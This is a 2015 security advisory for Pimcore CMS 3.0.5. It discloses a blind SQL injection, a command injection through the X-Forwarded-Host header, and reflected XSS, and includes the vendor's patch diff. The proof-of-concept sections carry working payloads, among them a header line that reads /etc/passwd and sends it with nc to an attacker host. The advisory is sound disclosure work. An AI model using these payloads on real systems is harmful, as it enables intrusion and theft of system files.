Pimcore CMS 3.0.5 XSS / SQL Injection / Command Execution

`Document Title:  
===============  
Pimcore v3.0.5 CMS - Multiple Web Vulnerabilities  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1482  
  
  
Release Date:  
=============  
2015-05-08  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1482  
  
  
Common Vulnerability Scoring System:  
====================================  
6.2  
  
  
Product & Service Introduction:  
===============================  
Pimcore is a powerful and robust Zend Framework based PHP content management system (CMS) for creating and managing digital   
content and assets licensed under the open-source BSD license. Create outstanding digital experiences on the most flexible   
content management platform available. Manage and edit any type of digital content, for any device and channel in a 100%   
flexible and personalized way. Pimcore features award-winning single-source and multi-channel publishing functionality   
making it easy to manage, update, and integrate content and data from various sources. With pimcore brands can create   
and manage rich digital experiences for all of their output channels at once: web, mobile, apps, social platforms,   
print and digital signage. With pimcore you can truly `edit once & reuse anywhere`.  
  
(Copy of the Homepage: https://www.pimcore.org/ )  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered multiple vulnerabilities in the official PIM Core v3.0.5 Content Management System.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-05-01: Researcher Notification & Coordination (Alain Homewood - PwC New Zealand)  
2015-05-01: Vendor Notification (PimCore CMS Security Team)  
2015-05-05: Vendor Response/Feedback (PimCore CMS Security Team)  
2015-05-07: Vendor Fix/Patch (PimCore Developer Team)  
2015-05-08: Public Disclosure (Vulnerability Laboratory - Alain Homewood)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Pimcore GmbH  
Product: PimCore - Content Management System 3.0.5  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
1.1  
A (time-based) blind sql injection web vulnerability has been discovered in the official Pimcore v3.0.5 Content Management System (web-application).  
The vulnerability allows remote attackers or privileged user accounts to execute own sql commands to compromise the affected web-server dbms.  
  
A blind authenticated SQL injection vulnerability exists in the filtering functionality of the HTTP error display in the administration panel.   
Authenticated is required to exploit this vulnerability, however low privilege users may have access to this functionality (i.e. its located   
under `Marketing - Search Engine Optimisation`). The request method to execute the malicious sql commands is GET and the issue is exists in   
the code line of the web-application.  
  
The security risk of the sql vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.2.  
Exploitation of the remote sql injection web vulnerability requires a low privilege application user account without user interaction.   
Successful exploitation of the sql injection vulnerability results in application and web-service or dbms compromise.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] ./misc/http-error-log  
  
Vulnerable Parameter(s):  
[+] _dc  
  
  
1.2  
A command execution web vulnerability has been discovered in the official Pimcore v3.0.5 Content Management System (web-application).  
The vulnerability allows remote attackers or local privilege user accounts to compromise the web-server by execution of malicious code.  
  
The newsletter sending functionality uses unsanitized user provided input as part of a shell command. Authenticated users can manipulate   
these values to execute arbitrary commands. Note that low privilege users are likely to have access to this functionality (e.g. marketing users).   
Authenticated is required to exploit this vulnerability. The request method to execute is POST and the attack vector is located on the   
application-side of the online service.  
  
The security risk of the arbitrary code execution vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.1.  
Exploitation of the arbitrary code execution vulnerability requires no user interaction but a low privilege web-application user account.  
Successful exploitation of the remote vulnerability results in unauthorized execution of system specific codes.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] /reports/newsletter/send  
  
Vulnerable Parameter(s):  
[+] HOST  
  
  
1.3  
Two reflected cross site scripting web vulnerability has been discovered in the official Pimcore v3.0.5 Content Management System (web-application).  
The vulnerability allows remote attackers to inject own script code on the client-side to the user (browser) application requests.  
  
Two reflected cross site scripting vulnerabilities exist in the administration panel. The issues are located in the `id` value of the echo back through   
the `exportClassAction()` and `exportCustomLayOutDefinitionAction()` functions of the `userClassController.php` file. The request method to execute is GET   
and the issues are located on the client-side of the online-service web application.  
  
The security risk of the cross site scripting web vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.  
Exploitation of the arbitrary code execution vulnerability requires no user interaction or privileged web-application user account with password.  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent   
manipulation function or connected module context.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] exportClassAction()  
[+] exportCustomLayOutDefinitionAction()  
  
Vulnerable File(s):  
[+] userClassController.php  
  
Vulnerable Parameter(s):  
[+] id  
  
  
Proof of Concept (PoC):  
=======================  
1.1  
The blind sql injection web vulnerability can be exploited by remote attackers with low privilege application user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Get requests to /admin/misc/http-error-log fail to sanitise the value of the "limit" parameter which allows users to inject SQL statements.  
  
The unsanitized value of the parameter is included in the following SQL query in MiscController.php:  
$logs = $db->fetchAll("SELECT code,uri,`count`,date FROM http_error_log " . $condition . " ORDER BY " . $sort . " " . $dir . " LIMIT " . $offset . "," . $limit);  
  
PoC or Exploitcode:  
This vulnerability can be exploited with a time based technique as described on:  
https://rateip.com/blog/sql-injections-in-mysql-limit-clause/  
  
--- PoC Session Logs [GET] ---  
GET /admin/misc/http-error-log?_dc=1430255599566&limit=20%20PROCEDURE%20analyse((select%20extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)%20LIKE%205,BENCHMARK(5000000,SHA1(1)),1))))),1)&filter= HTTP/1.1  
Host: [VULNERABLE]  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-pimcore-csrf-token: 44efd8fe89806470db942bbb20ce1e6909eae4bc  
X-Requested-With: XMLHttpRequest  
Referer: http://[VULNERABLE]/admin/?_dc=1430255468  
Cookie: pimcore_admin_sid=llcv0iq3bthb6alpscnj401dc1  
Connection: keep-alive  
  
Reference(s):  
admin/misc/http-error-log?_dc=  
  
  
1.2  
The code execution web vulnerability can be exploited by remote attackers without privilege application user account or user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
The users hostname is retrieved through $_SERVER['HTTP_X_FORWARDED_HOST'] or $_SERVER['HTTP_HOST'] and then included in a command that is executed (NewsletterController.php).  
  
PoC: The command to be executed can be inserted into an X-forwarded-host HTTP header, for example:  
--- PoC Session Logs [POST] ---  
POST /admin/reports/newsletter/send HTTP/1.1  
Host: 1[VULNERABLE]  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-pimcore-csrf-token: 44efd8fe89806470db942bbb20ce1e6909eae4bc  
X-Requested-With: XMLHttpRequest  
Referer: http://[VULNERABLE]/admin/?_dc=1430259866451  
Content-Length: 20  
Cookie: pimcore_admin_sid=llcv0iq3bthb6alpscnj401dc1  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
X-forwarded-host: && cat /etc/passwd | nc hacker 1234  
  
Reference(s):  
/admin/reports/newsletter/send   
  
  
1.3  
The cross site scripting web vulnerabilities can be exploited by remote attackers with low privilege application user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Unsanitized user provided input in the "id" parameter is echoed back to the user in the exportClassAction() and exportCustomLayOutDefinitionAction() functions in userClassController.php.  
  
Only authenticated users with permission to access the class export functionality are vulnerable to this (i.e. administrators)  
  
PoC:  
http://[VULNERABLE]/admin/class/export-class?id=<script>alert(1)</script>  
http://[VULNERABLE]/admin/class/export-custom-layout-definition?id=<script>alert(1)</script>  
  
  
Solution - Fix & Patch:  
=======================  
URL(s): https://github.com/pimcore/pimcore/commit/a01a4c87a782a7b20ccc4081c9340698f2d52573  
  
pimcore/modules/admin/controllers/ClassController.php  
@@ -484,10 +484,12 @@ public function getAllLayoutsAction() {  
public function exportClassAction() {  
  
$this->removeViewRenderer();  
- $class = Object ClassDefinition::getById(intval($this->getParam(``id``)));  
+  
+ $id = intval($this->getParam(``id``));  
+ $class = Object ClassDefinition::getById($id);  
  
if (!$class instanceof Object ClassDefinition) {  
- $errorMessage = ``: Class with id [ `` . $this->getParam(``id``) . `` not found. ]``;  
+ $errorMessage = ``: Class with id [ `` . $id . `` not found. ]``;  
Logger::error($errorMessage);  
echo $errorMessage;  
} else {  
@@ -496,14 +498,13 @@ public function exportClassAction() {  
header(``Content-Disposition: attachment; filename= ``class_`` . $class->getName() . ``_export.json ````);  
echo $json;  
}  
-  
}  
  
  
public function exportCustomLayoutDefinitionAction() {  
  
$this->removeViewRenderer();  
- $id = $this->getParam(``id``);  
+ $id = intval($this->getParam(``id``));  
  
if ($id) {  
$customLayout = Object ClassDefinition CustomLayout::getById($id);  
  
pimcore/modules/reports/controllers/NewsletterController.php  
@@ -185,7 +185,7 @@ public function sendAction() {  
  
$letter = Newsletter Config::getByName($this->getParam(``name``));  
if($letter) {  
- $cmd = Tool Console::getPhpCli() . `` `` . realpath(PIMCORE_PATH . DIRECTORY_SEPARATOR . ``cli`` . DIRECTORY_SEPARATOR . ``send-newsletter.php``). `` `` . $letter->getName() . `` `` . Tool::getHostUrl();  
+ $cmd = Tool Console::getPhpCli() . `` `` . realpath(PIMCORE_PATH . DIRECTORY_SEPARATOR . ``cli`` . DIRECTORY_SEPARATOR . ``send-newsletter.php``). `` `` . escapeshellarg($letter->getName()) . `` `` . escapeshellarg(Tool::getHostUrl());  
Tool Console::execInBackground($cmd, PIMCORE_LOG_DIRECTORY . ``/newsletter--`` . $letter->getName() . ``.log``);  
}  
  
  
  
pimcore/modules/admin/controllers/MiscController.php  
@@ -325,8 +325,8 @@ public function httpErrorLogAction() {  
  
$db = Resource::get();  
  
- $limit = $this->getParam(``limit``);  
- $offset = $this->getParam(``start``);  
+ $limit = intval($this->getParam(``limit``));  
+ $offset = intval($this->getParam(``start``));  
$sort = $this->getParam(``sort``);  
$dir = $this->getParam(``dir``);  
$filter = $this->getParam(``filter``);  
  
  
Security Risk:  
==============  
1.1  
The security risk of the blind sql injection web vulnerability in the pimcore cms is estimated as high. (CVSS 6.2)  
  
1.2  
The security risk of the code execution web vulnerability in the pimcore cms is estimated as high. (CVSS 6.1)  
  
1.3  
The security risk of the reflected cross site scripting web vulnerabilities in the pimcore cms are estimated as medium. (CVSS 3.2)  
  
  
Credits & Authors:  
==================  
Alain Homewood - PwC New Zealand (http://www.pwc.co.nz/services/assurance-services/pwc-security/)  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
([email protected] or [email protected]) to get a permission.  
  
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
CONTACT: [email protected]  
PGP KEY: http://www.vulnerability-lab.com/keys/[email protected]%280x198E9928%29.txt  
  
`